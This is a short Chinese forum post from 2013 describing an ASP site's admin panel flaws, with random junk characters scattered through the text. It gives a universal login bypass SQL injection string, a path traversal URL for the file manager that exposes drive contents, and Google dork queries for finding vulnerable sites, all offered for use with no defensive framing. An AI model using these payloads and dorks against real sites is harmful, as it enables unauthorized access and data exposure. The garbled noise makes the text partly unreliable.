后台万能密码 'or'='or'. k% }4 j8 C8 [& P% D1 r: n
3 |/ h. D/ k9 T& |& }% U* @4 ?
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
2 S: ]$ L! O! madmin/uploadfile.asp?currentFolder=/upfiles/..// ]4 m3 }2 R2 f. r
2 W+ v8 s! b: y' w; @: I漏洞证明：) b( o- p& @8 w9 V
' Y y% q1 D2 B* J7 N
谷歌：inurl:type.asp?id=1 新闻中心4 h! v, T; ~0 u
或者 ：inurl:download_ok.asp?
1 p8 L: v5 n* q9 R$ d6 H0 i+ O2 d" U# q+ ]& v" x* e. t& \
|
发表于 2013-3-14 20:17:32
收藏
支持
反对